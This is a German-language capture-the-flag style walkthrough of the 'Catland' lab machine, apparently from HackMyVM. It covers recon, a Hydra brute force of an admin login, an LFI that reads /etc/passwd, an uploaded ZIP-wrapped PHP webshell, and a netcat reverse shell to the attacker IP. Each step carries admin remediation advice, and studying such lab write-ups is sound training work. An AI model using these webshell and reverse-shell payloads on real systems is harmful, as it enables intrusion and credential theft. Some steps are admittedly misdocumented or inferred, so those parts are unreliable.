192.168.2.126 08:00:27:27:c0:41 PCS Systemtechnik GmbH
Analyse: `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerk zu finden. Ein Host mit der IP `192.168.2.126` und der MAC `08:00:27:27:c0:41` (VirtualBox) wird entdeckt.
Bewertung: Das Zielsystem wurde erfolgreich identifiziert.
Empfehlung (Pentester): Führen Sie einen Portscan mit Nmap auf die IP `192.168.2.126` durch. Fügen Sie optional einen Hostnamen (z.B. `catland.hmv`) zur `/etc/hosts`-Datei hinzu.
Empfehlung (Admin): Netzwerksegmentierung und ARP-Scan-Erkennung können die Aufklärung erschweren.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-10 22:10 CEST Nmap scan report for catland.hmv (192.168.2.126) Host is up (0.00016s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 c71014a89af0251e0db1c66f1ca188d8 (RSA) | 256 1b66f4e5b6236e778e9ec178c5bcace9 (ECDSA) |_ 256 f4e9d87a0815d0929014dfb3ec81a1ed (ED25519) 80/tcp open http Apache httpd 2.4.54 ((Debian)) |_http-title: Catland |_http-server-header: Apache/2.4.54 (Debian) MAC Address: 08:00:27:27:C0:41 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.16 ms catland.hmv (192.168.2.126) Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) wird auf das Ziel durchgeführt. Die Ergebnisse zeigen: * Port 22 (SSH): Offen, OpenSSH 8.4p1 auf Debian. Verschiedene Host-Schlüssel werden angezeigt. * Port 80 (HTTP): Offen, Apache 2.4.54 auf Debian. Der Titel der Webseite ist "Catland". * OS-Erkennung: Schätzt Linux Kernel 4.15 - 5.6.
Bewertung: Die Hauptangriffsvektoren sind SSH und HTTP. Die Versionsinformationen für SSH und Apache sind nützlich für die Schwachstellensuche.
Empfehlung (Pentester): Konzentrieren Sie sich auf die Enumeration des Webservers (Port 80). Überprüfen Sie bekannte Schwachstellen für OpenSSH 8.4p1 und Apache 2.4.54.
Empfehlung (Admin): Halten Sie SSH- und Webserver-Software aktuell. Konfigurieren Sie SSH sicher (z.B. Key-Authentifizierung bevorzugen, Passwort-Auth deaktivieren). Implementieren Sie eine Firewall.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.126 [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.1.0 [+] Expanded: true [+] Extensions: [...] [+] No status: true [+] Ignore SSL: true [+] Timeout: 10s =============================================================== 2023/04/10 22:12:01 Starting gobuster =============================================================== /index.php (Status: 200) [Size: 757] /logo.jpeg (Status: 200) [Size: 7834] /logo.png (Status: 200) [Size: 232884] /images (Status: 301) [Size: 315] [--> http://192.168.2.126/images/] /gallery.php (Status: 200) [Size: 479] =============================================================== 2023/04/10 22:13:55 Finished ===============================================================
Analyse: Ein `gobuster`-Scan wird mit einer umfangreichen Liste von Dateierweiterungen (`-x ...`), hoher Thread-Anzahl (`-t 100`) und einer mittelgroßen Wortliste durchgeführt. Statuscodes 403/404 werden ignoriert (`-b '403,404'`). Funde: * `index.php`: Hauptseite. * `logo.jpeg`, `logo.png`: Bilddateien. * `/images`: Verzeichnis (leitet auf `/images/` weiter). * `gallery.php`: Eine weitere PHP-Datei.
Bewertung: Der Scan identifiziert grundlegende Dateien und Verzeichnisse. Die Bilddateien und `gallery.php` sind potenzielle Untersuchungsziele.
Empfehlung (Pentester): Untersuchen Sie die Bilddateien auf Metadaten oder Steganographie. Analysieren Sie `gallery.php` auf Schwachstellen (z.B. LFI, SQLi, XSS). Überprüfen Sie den Inhalt des `/images`-Verzeichnisses.
Empfehlung (Admin): Deaktivieren Sie die Verzeichnisauflistung. Stellen Sie sicher, dass keine sensiblen Informationen in öffentlich zugänglichen Dateien oder Verzeichnissen vorhanden sind.
ExifTool Version Number : 12.57 File Name : logo.jpeg [...] Image Size : 225x225 Megapixels : 0.051
Analyse: `exiftool` wird verwendet, um Metadaten aus `logo.jpeg` zu extrahieren.
Bewertung: Es werden nur Standard-Metadaten ohne versteckte Informationen gefunden.
Empfehlung (Pentester): Versuchen Sie andere Steganographie-Tools.
Empfehlung (Admin): Metadaten sind hier unbedenklich.
Passwort eingeben: [Kein Passwort gefunden/eingegeben] steghide: could not extract any data with that passphrase!.
Analyse: Versuch, mit `steghide` versteckte Daten aus `logo.jpeg` zu extrahieren. Ein Passwort wird benötigt.
Bewertung: Ohne Passwort ist die Extraktion nicht erfolgreich.
[Keine Ausgabe]
Analyse: Versuch, mit `stegsnow` (ein Tool für Steganographie in Whitespace) versteckte Daten zu finden.
Bewertung: Keine Daten gefunden.
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Progress: 99.32% (132.5 MB)
[!] error: Could not find a valid passphrase.
Analyse: `stegseek` versucht, das `steghide`-Passwort für `logo.jpeg` mithilfe der `rockyou.txt`-Wortliste zu knacken.
Bewertung: Der Brute-Force-Versuch war erfolglos; das Passwort befindet sich nicht in `rockyou.txt`.
Empfehlung (Pentester): Steganographie in `logo.jpeg` scheint kein vielversprechender Weg zu sein. Untersuchen Sie andere gefundene Dateien/Pfade.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich, aber seien Sie sich bewusst, dass Steganographie existiert.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.2.126/index.php?FUZZ=id
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
[Keine Ergebnisse]
Total time: ...
Processed Requests: 220560
Filtered Requests: 220560
Requests/sec.: ...
Analyse: Versuch, mit `wfuzz` einen funktionierenden GET-Parameter für `index.php` zu finden, der möglicherweise eine Schwachstelle (z.B. LFI, Command Injection) auslöst. Es wird versucht, den Befehl `id` auszuführen. Antworten mit 97 Wörtern (`--hw 97` - wahrscheinlich die Standard-Antwortlänge) werden herausgefiltert.
Bewertung: Keine abweichenden Antworten gefunden. `index.php` scheint nicht direkt über unbekannte GET-Parameter angreifbar zu sein.
Empfehlung (Pentester): Untersuchen Sie andere Dateien (`gallery.php`) oder Methoden (POST-Parameter, Header).
Empfehlung (Admin): Input-Validierung für alle Parameter implementieren.
Analyse (Impliziert): An dieser Stelle wurde vermutlich das Verzeichnis `/images` manuell untersucht und die Datei `laura-with-cat.jpeg` gefunden, da im Folgenden Steganographie-Versuche darauf angewendet werden.
Passwort eingeben: [Kein Passwort gefunden/eingegeben] steghide: could not extract any data with that passphrase!.
Analyse: Erneuter `steghide`-Versuch, diesmal auf `laura-with-cat.jpeg`.
Bewertung: Erfolglos ohne Passwort.
[Keine Ausgabe]
Analyse: `stegsnow`-Versuch auf `laura-with-cat.jpeg`.
Bewertung: Erfolglos.
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Progress: 99.71% (133.1 MB)
[!] error: Could not find a valid passphrase.
Analyse: `stegseek`-Versuch auf `laura-with-cat.jpeg` mit `rockyou.txt`.
Bewertung: Erfolglos.
Empfehlung (Pentester): Steganographie scheint auch hier keine Informationen preiszugeben. Notieren Sie sich jedoch den Namen `laura` aus dem Dateinamen als potenziellen Benutzernamen.
Empfehlung (Admin): Keine direkten Maßnahmen.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.2.126/gallery.php?FUZZ=id
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
[Keine Ergebnisse]
Total time: ...
Processed Requests: 220560
Filtered Requests: 220560
Requests/sec.: ...
Analyse: Versuch, mit `wfuzz` einen funktionierenden GET-Parameter für `gallery.php` zu finden. Antworten mit 479 Zeichen (`--hh 479` - vermutlich die Standardantwort) werden herausgefiltert.
Bewertung: Keine abweichenden Antworten gefunden. `gallery.php` scheint nicht über unbekannte GET-Parameter angreifbar zu sein.
Empfehlung (Pentester): Untersuchen Sie `gallery.php` manuell oder mit anderen Tools auf Schwachstellen.
Empfehlung (Admin): Input-Validierung.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.126 + Target Hostname: 192.168.2.126 + Target Port: 80 + Start Time: 2023-04-10 22:20:13 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.54 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /images/: Directory indexing found. + 26640 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2023-04-10 22:21:40 (GMT2) (87 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Ein erneuter `nikto`-Scan, diesmal mit der Option `-C all`, um alle CGI-Verzeichnisse zu prüfen. Findet erneut die fehlenden Sicherheitsheader und die Verzeichnisauflistung für `/images`.
Bewertung: Bestätigt frühere Funde, liefert aber keine neuen kritischen Informationen.
Empfehlung (Pentester): Die fehlenden Header sind von geringer Priorität. Die Verzeichnisauflistung wurde bereits zur Kenntnis genommen.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). Deaktivieren Sie die Verzeichnisauflistung.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://catland.hmv/
Total requests: 110000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000024: 200 23 L 90 W 1068 Ch "admin"
Total time: ...
Processed Requests: ...
Filtered Requests: ...
Requests/sec.: ...
Analyse: `wfuzz` wird zur Subdomain-Enumeration mittels VHost-Brute-Forcing verwendet. * `-w ...subdomains-top1million-110000.txt`: Verwendet eine Liste gängiger Subdomains. * `-u http://catland.hmv`: Die Basis-URL (Ziel-IP). * `-H "Host: FUZZ.catland.hmv"`: Setzt den HTTP-Host-Header dynamisch. `FUZZ` wird durch die Einträge aus der Wortliste ersetzt. * `--hh 757`: Versteckt Antworten mit 757 Zeichen (wahrscheinlich die Größe der Standardseite `index.php`). * `--hc 400,403,404`: Versteckt Standardfehlercodes. Der Scan findet eine Subdomain: `admin.catland.hmv`, die eine andere Antwort (1068 Chars) als die Hauptseite liefert.
Bewertung: Hervorragender Fund! Eine versteckte `admin`-Subdomain wurde entdeckt, die wahrscheinlich ein Login-Panel oder administrative Funktionen beherbergt.
Empfehlung (Pentester): Fügen Sie `admin.catland.hmv` zur `/etc/hosts`-Datei hinzu. Rufen Sie die Subdomain im Browser oder mit `curl` auf und untersuchen Sie sie auf Login-Formulare oder Schwachstellen.
Empfehlung (Admin): Beschränken Sie den Zugriff auf administrative Subdomains (z.B. über IP-Whitelisting, VPN, Authentifizierung auf Webserver-Ebene). Verwenden Sie keine leicht zu erratenden Subdomain-Namen.
192.168.2.126 admin.catland.hmv
Analyse: Die `/etc/hosts`-Datei wird bearbeitet, um die gefundene Subdomain `admin.catland.hmv` der IP-Adresse `192.168.2.126` zuzuordnen.
Bewertung: Notwendiger Schritt, um die Subdomain über ihren Namen aufrufen zu können.
Admin panel Login: Password: Invalid username or password
Analyse: `curl` wird verwendet, um den Quellcode der Startseite von `admin.catland.hmv` abzurufen. Der Code zeigt ein einfaches HTML-Login-Formular mit Feldern für `username` und `password`. Die `action` des Formulars ist leer (`action=""`), was bedeutet, dass die Daten an dieselbe Seite (`index.php` oder die aktuelle URL) per POST gesendet werden. Es wird auch ein JavaScript (`redirect.js`) eingebunden, das versucht, den Benutzer umzuleiten. Die Meldung "Invalid username or password" ist im HTML vorhanden, was darauf hindeutet, dass sie möglicherweise standardmäßig angezeigt wird oder nach einem fehlgeschlagenen POST-Versuch im selben Request.
Bewertung: Das Admin-Panel ist identifiziert und zeigt ein klares Login-Formular. Die leere `action` und die Fehlermeldung sind wichtige Informationen für einen Brute-Force-Angriff.
Empfehlung (Pentester): Versuchen Sie einen Brute-Force-Angriff auf das Login-Formular mit Tools wie Hydra. Beachten Sie die Parameter (`username`, `password`) und die Fehlermeldung (`Invalid username or password`). Deaktivieren Sie JavaScript im Browser oder verwenden Sie `curl`, um den Redirect zu umgehen.
Empfehlung (Admin): Implementieren Sie Account-Lockout-Mechanismen und CAPTCHAs, um Brute-Force-Angriffe zu erschweren. Verwenden Sie starke Passwörter.
// Inhalt von redirect.js function redirectToSubdomain() { window.location.replace('http://catland.hmv'); }
Analyse: Der Inhalt der Datei `redirect.js`, die auf der Login-Seite eingebunden ist. Die Funktion `redirectToSubdomain` leitet den Benutzer einfach zur Hauptseite `catland.hmv` um.
Bewertung: Dies ist ein einfacher Mechanismus, um nicht eingeloggte Benutzer vom Admin-Panel wegzuleiten. Er kann leicht durch Deaktivieren von JavaScript oder durch direkte Anfragen mit Tools wie `curl` umgangen werden.
Empfehlung (Pentester): Ignorieren Sie das JavaScript oder deaktivieren Sie es bei der Interaktion mit dem Admin-Panel.
Empfehlung (Admin): Serverseitige Authentifizierung und Autorisierung sind entscheidend. Clientseitige Redirects bieten keine echte Sicherheit.
HTTP/1.1 200 OK
Date: Mon, 10 Apr 2023 20:39:29 GMT
Server: Apache/2.4.54 (Debian)
Set-Cookie: PHPSESSID=elqtqobbhnarin95sb88a0bhcc; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Analyse: `curl -I` wird verwendet, um nur die HTTP-Header der Seite `http://admin.catland.hmv/index.php` abzurufen.
Bewertung: Bestätigt den Servertyp und zeigt, dass ein `PHPSESSID`-Cookie gesetzt wird, was auf eine PHP-basierte Anwendung hindeutet.
Empfehlung (Pentester): Beachten Sie das Session-Cookie bei der weiteren Interaktion.
Empfehlung (Admin): Stellen Sie sicher, dass Session-Cookies sicher konfiguriert sind (HttpOnly, Secure-Flag falls HTTPS verwendet wird).
403 Forbidden You don't have permission to access this resource.
Apache/2.4.54 (Debian) Server at admin.catland.hmv Port 80
Analyse: Versuch, den Quellcode von `index.php` durch Anhängen von `s` (`index.phps`) abzurufen. Dies ist eine gängige Methode, wenn der Server so konfiguriert ist, dass er PHP-Quellcode bei dieser Endung anzeigt.
Bewertung: Der Versuch schlägt mit einem `403 Forbidden`-Fehler fehl. Der Server ist nicht so konfiguriert, dass er Quellcode auf diese Weise preisgibt.
Empfehlung (Pentester): Suchen Sie nach anderen Wegen, um Quellcode zu erhalten (z.B. LFI, Fehlkonfigurationen, Backups).
Empfehlung (Admin): Stellen Sie sicher, dass Quellcode nicht unbeabsichtigt preisgegeben wird. Deaktivieren Sie Handler wie `mod_php` für `.phps`, wenn nicht benötigt.
Hypothese & Vorbereitung: Basierend auf dem Dateinamen `laura-with-cat.jpeg` wird vermutet, dass `laura` ein gültiger Benutzername für das Admin-Panel sein könnte. Das Tool `cupp` wird verwendet, um eine benutzerdefinierte Passwortliste basierend auf dem Namen "laura" zu erstellen.
___________ cupp.py! # Common \ # User \ ,__, # Passwords \ (oo)____ # Profiler (__) )\ ||--|| [ Muris Kurgas | j0rgan@remote-exploit.org ] [ Mebus | https://github.com/Mebus/] [+] Insert the information about the victim to make a dictionary [+] If you don't know all the info, just hit enter when asked! ;) > First Name: laura [...] [+] Now making a dictionary... [+] Sorting list and removing duplicates... [+] Saving dictionary to laura.txt, counting 108 words. [+] Now load your pistolero with laura.txt and shoot! Good luck!
Analyse: `cupp -i` (Common User Passwords Profiler) wird interaktiv ausgeführt, um eine Passwortliste zu generieren. Als Vorname wird `laura` angegeben. `cupp` erstellt daraus typische Passwortvariationen.
Bewertung: Eine spezialisierte Wortliste (`laura.txt` mit 108 Wörtern) wurde erstellt, die gezielter ist als eine generische Liste wie `rockyou.txt` für den vermuteten Benutzer `laura`.
Empfehlung (Pentester): Verwenden Sie die generierte Liste `laura.txt` für einen Brute-Force-Angriff auf das Admin-Panel mit dem Benutzernamen `laura`.
Empfehlung (Admin): Fördern Sie die Verwendung starker, nicht vorhersagbarer Passwörter, die nicht leicht aus persönlichen Informationen abgeleitet werden können.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-10 22:53:43
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 108 login tries (l:1/p:108), ~7 tries per task
[DATA] attacking http-post-form://admin.catland.hmv:80/index.php:username=^USER^&password=^PASS^:Invalid
[STATUS] 86.00 tries/min, 86 tries in 00:01h, Ratio 0.00, Expected time 00:01h
[80][http-post-form] host: admin.catland.hmv login: laura password: Laura_2008
[STATUS] attack finished for http-post-form://admin.catland.hmv:80/index.php:username=^USER^&password=^PASS^:Invalid (waiting for children)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-10 22:54:59
Analyse: `hydra` wird verwendet, um einen Brute-Force-Angriff auf das Login-Formular des Admin-Panels durchzuführen. * `-l laura`: Verwendet den Benutzernamen `laura`. * `-P laura.txt`: Verwendet die zuvor mit `cupp` erstellte Passwortliste. * `'http-post-form://admin.catland.hmv/index.php:username=^USER^&password=^PASS^:Invalid'`: Definiert das Ziel, die POST-Parameter (`username`, `password`) und die Fehlermeldung (`Invalid`), die bei einem Fehlschlag erwartet wird.
Bewertung: Erfolg! Hydra findet das korrekte Passwort `Laura_2008` für den Benutzer `laura`.
Empfehlung (Pentester): Loggen Sie sich mit den Zugangsdaten `laura`:`Laura_2008` in das Admin-Panel ein (JavaScript im Browser deaktivieren). Suchen Sie nach weiteren Funktionen, insbesondere nach Möglichkeiten zum Hochladen von Dateien oder zur Codeausführung.
Empfehlung (Admin): Verwenden Sie starke Passwörter. Implementieren Sie Account-Lockout und CAPTCHAs.
Navigation im Admin-Panel (impliziert): Nach dem erfolgreichen Login werden verschiedene Seiten im Admin-Panel gefunden: `/user.php`, `/card.php`, `/upload.php`.
// Auf http://admin.catland.hmv/upload.php Send us your expense reports as an archive: Expense report: [Upload-Feld] // Nach fehlgeschlagenem Upload-Versuch einer Nicht-Zip/RAR-Datei: This file extension is not allowed. Please upload a ZIP or RAR file These are the errors
Analyse: Die Seite `/upload.php` erlaubt das Hochladen von Dateien, aber nur mit den Erweiterungen `.zip` oder `.rar`.
Bewertung: Dies ist eine Einschränkung, aber ZIP-Dateien können oft verwendet werden, um bösartigen Code (z.B. eine PHP-Shell) zu schmuggeln, der dann möglicherweise über eine andere Schwachstelle (wie LFI) ausgeführt wird.
Empfehlung (Pentester): Erstellen Sie eine einfache PHP-Webshell, packen Sie sie in eine ZIP-Datei und laden Sie diese hoch. Suchen Sie nach einer LFI-Schwachstelle, um die Shell innerhalb der ZIP-Datei auszuführen.
Empfehlung (Admin): Validieren Sie nicht nur die Dateierweiterung, sondern auch den Inhalt hochgeladener Dateien (MIME-Typ-Prüfung, Inhaltsanalyse). Speichern Sie Uploads außerhalb des Web-Roots und verwenden Sie nicht vorhersagbare Dateinamen.
// Aufruf von /user.php?page=accountancy Select a page: Accountancy [Go] http://admin.catland.hmv/user.php?page=accountancy // Versuch, /etc/passwd via LFI zu lesen (im Quellcode sichtbar) view-source:http://admin.catland.hmv/user.php?page=/etc/passwd
root:x:0:0:root:/root:/bin/bash [...] laura:x:1001:1001:,,,:/home/laura:/bin/bash mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/falseWelcome Laura
Analyse: Die Seite `user.php` scheint einen `page`-Parameter zu verwenden, um verschiedene Inhalte zu laden (z.B. `accountancy`). Beim Versuch, `/etc/passwd` über diesen Parameter zu laden (`page=/etc/passwd`), wird der Inhalt der Passwortdatei im Quellcode der zurückgegebenen Seite angezeigt. Dies bestätigt eine Local File Inclusion (LFI)-Schwachstelle.
Bewertung: Kritische Schwachstelle gefunden! LFI erlaubt das Lesen beliebiger Dateien auf dem Server, auf die der Webserver-Benutzer (`www-data`) Zugriff hat. Es bestätigt auch das Vorhandensein des Benutzers `laura`.
Empfehlung (Pentester): Nutzen Sie die LFI in Kombination mit der Upload-Funktion. Laden Sie die gezippte PHP-Shell hoch und versuchen Sie, sie über die LFI mit dem `page`-Parameter zu inkludieren (z.B. `page=./uploads/shell.zip`). Wenn PHP ZIP-Dateien über Wrapper wie `phar://` lesen kann, könnte der Pfad `page=phar://./uploads/shell.zip/shell.php` funktionieren.
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle in `user.php` dringend! Validieren Sie den `page`-Parameter streng und erlauben Sie nur das Laden vordefinierter, sicherer Dateien. Verwenden Sie keine Benutzereingaben direkt in `include()`- oder `require()`-Anweisungen.
system($GET['cmd']);
Analyse: Erstellt eine minimale PHP-Webshell, die den Wert des GET-Parameters `cmd` als Systembefehl ausführt.
Bewertung: Standard-Webshell für RCE.
[Keine Ausgabe, aber logisch falsch - sollte zippen, nicht kopieren]
Analyse: Dieser Befehl ist wahrscheinlich falsch dokumentiert. Er sollte die `shell.php` in eine ZIP-Datei packen (z.B. mit `zip /home/cyber/Downloads/shell.zip shell.php`), nicht einfach kopieren und umbenennen.
Bewertung: Annahme: Eine korrekte `shell.zip` wurde erstellt.
// Auf http://admin.catland.hmv/upload.php
Expense report: [shell.zip ausgewählt]
The file shell.zip has been uploaded
Analyse: Die (angenommen korrekt erstellte) `shell.zip`-Datei wird erfolgreich über das Formular auf `upload.php` hochgeladen.
Bewertung: Die Webshell befindet sich nun (vermutlich im Verzeichnis `./uploads/`) auf dem Server.
http://admin.catland.hmv//user.php?page=./uploads/shell.zip&cmd=ls
Select a page: card.php config.php index.php redirect.js style.css upload.php uploads user.php
Analyse: Es wird versucht, die LFI-Schwachstelle in `user.php` auszunutzen, um die hochgeladene `shell.zip` zu inkludieren (`page=./uploads/shell.zip`). Der Parameter `cmd=ls` wird angehängt. Überraschenderweise scheint dies zu funktionieren - PHP inkludiert die ZIP-Datei, findet darin irgendwie die `shell.php` und führt den `ls`-Befehl aus, dessen Ausgabe (Dateien im `admin`-Verzeichnis) zurückgegeben wird. Dies könnte über den `phar://`-Wrapper funktionieren, obwohl er nicht explizit angegeben ist, oder durch eine serverseitige Verarbeitung der ZIP-Datei.
Bewertung: Remote Code Execution (RCE) wurde erreicht! Die Kombination aus Dateiupload (eingeschränkt auf ZIP) und LFI ermöglicht die Ausführung von Befehlen als `www-data`.
Empfehlung (Pentester): Nutzen Sie die RCE, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): LFI beheben! Upload-Funktion härten. Sicherstellen, dass Webserver-Prozesse keine unerwarteten Aktionen mit ZIP-Dateien durchführen können.
http://admin.catland.hmv//user.php?page=./uploads/shell.zip&cmd=nc%20-e%20/bin/bash%20192.168.2.114%209001
Analyse: Die RCE-Schwachstelle wird genutzt, um einen Netcat-Reverse-Shell-Payload auszuführen. * `cmd=nc -e /bin/bash 192.168.2.114 9001`: Startet Netcat auf dem Zielserver, verbindet sich zurück zur Angreifer-IP `192.168.2.114` auf Port `9001` und führt bei Verbindung eine Bash-Shell aus (`-e /bin/bash`).
Bewertung: Dies ist der Befehl, der die Reverse Shell auslöst.
listening on [any] 9001 ... connect to [192.168.2.114] from (UNKNOWN) [192.168.2.126] 42626 www-data@catland:/var/www/admin$
Analyse: Der Netcat-Listener auf dem Angreifer-System (IP `192.168.2.114`) empfängt die eingehende Verbindung vom Zielsystem (`192.168.2.126`). Eine Shell als `www-data` im Verzeichnis `/var/www/admin` wird bereitgestellt.
Bewertung: Initialer Zugriff als `www-data` erfolgreich etabliert!
Empfehlung (Pentester): Stabilisieren Sie die Shell und beginnen Sie mit der Enumeration für die Privilegienerweiterung.
Empfehlung (Admin): LFI und Upload-Schwachstelle beheben. Egress-Filtering implementieren.
Shell-Stabilisierung: Die folgenden Befehle dienen dazu, die einfache Netcat-Shell in eine voll interaktive TTY-Shell umzuwandeln.
www-data@catland:/var/www/admin$
[Keine Ausgabe]
zsh: suspended nc -nlvp 9001
[1] + continued nc -nlvp 9001
www-data@catland:/var/www/admin$
Analyse: 1. `python3 -c '...'`: Startet eine Bash-Shell innerhalb eines Pseudo-Terminals (PTY) auf dem Ziel. 2. `export TERM=xterm`: Setzt die Terminal-Variable, um Programme wie `clear` zu ermöglichen. 3. `Strg+Z`: Sendet den Netcat-Prozess auf dem Angreifer-System in den Hintergrund. 4. `stty raw -echo; fg`: Schaltet das lokale Terminal des Angreifers in den Raw-Modus (leitet Tastatureingaben direkt weiter) und holt den Netcat-Prozess wieder in den Vordergrund. 5. `reset`: Setzt das Terminal auf dem Zielsystem zurück.
Bewertung: Standardverfahren zur Stabilisierung einer einfachen Reverse Shell. Ermöglicht die Verwendung von Tab-Vervollständigung, Pfeiltasten und interaktiven Programmen.
Ziel: Demonstration, wie die Kombination aus einer eingeschränkten Datei-Upload-Funktion (nur ZIP) und einer Local File Inclusion (LFI)-Schwachstelle zur Ausführung von Code als `www-data` ausgenutzt werden kann.
Voraussetzungen: * Zugang zum Admin-Panel als Benutzer `laura` (`Laura_2008`). * Kenntnis der Upload-Seite (`/upload.php`) und ihrer ZIP-Einschränkung. * Kenntnis der LFI-Schwachstelle in `/user.php` über den `page`-Parameter. * Möglichkeit, eine ZIP-Datei mit einer PHP-Shell zu erstellen. * Ein Angreifer-System mit Netcat-Listener.
Risiko: Hoch. Erlaubt Angreifern mit niedrig privilegiertem Zugriff auf das Admin-Panel (hier `laura`), Code als Webserver-Benutzer (`www-data`) auszuführen.
Schritt 1: PHP-Shell erstellen und zippen
adding: shell.php (stored 0%)
Analyse: Eine einfache PHP-Webshell wird erstellt und in eine Datei namens `shell.zip` gepackt.
Schritt 2: Shell hochladen
// Auf http://admin.catland.hmv/upload.php als 'laura' eingeloggt:
// Datei 'shell.zip' auswählen und hochladen.
// Erwartete Meldung: The file shell.zip has been uploaded
// (Vermuteter Speicherort: /var/www/admin/uploads/shell.zip)
Analyse: Die `shell.zip`-Datei wird über die Upload-Funktion des Admin-Panels hochgeladen.
Schritt 3: Listener starten
listening on [any] 9001 ...
Analyse: Auf dem Angreifer-System (IP: `192.168.2.114` laut Payload) wird ein Netcat-Listener gestartet.
Schritt 4: LFI + RCE auslösen
http://admin.catland.hmv/user.php?page=./uploads/shell.zip&cmd=nc%20-e%20/bin/bash%20192.168.2.114%209001
Analyse: Die LFI-Schwachstelle in `user.php` wird genutzt, um die hochgeladene `shell.zip` zu inkludieren. Der `cmd`-Parameter übergibt den Netcat-Reverse-Shell-Befehl an die (implizit ausgeführte) `shell.php` innerhalb der ZIP-Datei.
Schritt 5: Shell empfangen
listening on [any] 9001 ... connect to [192.168.2.114] from (UNKNOWN) [192.168.2.126] 42626 www-data@catland:/var/www/admin$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ergebnis: Der Listener empfängt die Verbindung und stellt eine Shell als `www-data` bereit.
Bewertung: Der POC demonstriert erfolgreich die Ausnutzung der kombinierten Schwachstellen für RCE.
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle in `user.php`. Härten Sie die Upload-Funktion (Inhaltsvalidierung, sichere Speicherung).
Enumeration als www-data: Nach Erhalt und Stabilisierung der Shell werden Informationen gesammelt.
[...]
[sudo] password for www-data:
sudo: a password is required
Analyse: `sudo -l` erfordert ein Passwort für `www-data`, das nicht bekannt ist.
Bewertung: Keine direkten `sudo`-Rechte für `www-data`.
[...] 948550 180 -rwsr-xr-x 1 root root 182600 Feb 27 2021 /usr/bin/sudo [...]
Analyse: Suche nach SUID-Dateien.
Bewertung: Findet nur Standard-SUID-Dateien, kein offensichtlicher Exploit-Vektor.
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 511 *:80 *:* LISTEN 0 128 [::]:22 [::]:*
Analyse: Überprüfung der lauschenden Ports.
Bewertung: Bestätigt MySQL auf localhost, SSH und HTTP auf allen Interfaces.
$hostname = "localhost";
$database = "catland";
$username = "admin";
$password = "catlandpassword123";
$conn = mysqli_connect($hostname, $username, $password, $database);
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
Analyse: Auslesen der `config.php` im `/var/www/admin`-Verzeichnis.
Bewertung: Findet einen **neuen Satz Datenbank-Zugangsdaten**: `admin`:`catlandpassword123` für die Datenbank `catland`. Dies unterscheidet sich von den Zugangsdaten in `database.sql` auf der Hauptseite.
Empfehlung (Pentester): Verwenden Sie diese neuen Zugangsdaten, um sich mit der lokalen MySQL-Datenbank zu verbinden.
Empfehlung (Admin): Konsolidieren und sichern Sie Konfigurationsdateien. Vermeiden Sie Klartextpasswörter.
total 28
drwxr-xr-x 3 laura laura 4096 Jan 7 14:05 .
drwxr-xr-x 3 root root 4096 Dec 30 16:38 ..
lrwxrwxrwx 1 root root 9 Dec 30 16:53 .bash_history -> /dev/null
-rw-r--r-- 1 laura laura 220 Dec 30 16:37 .bash_logout
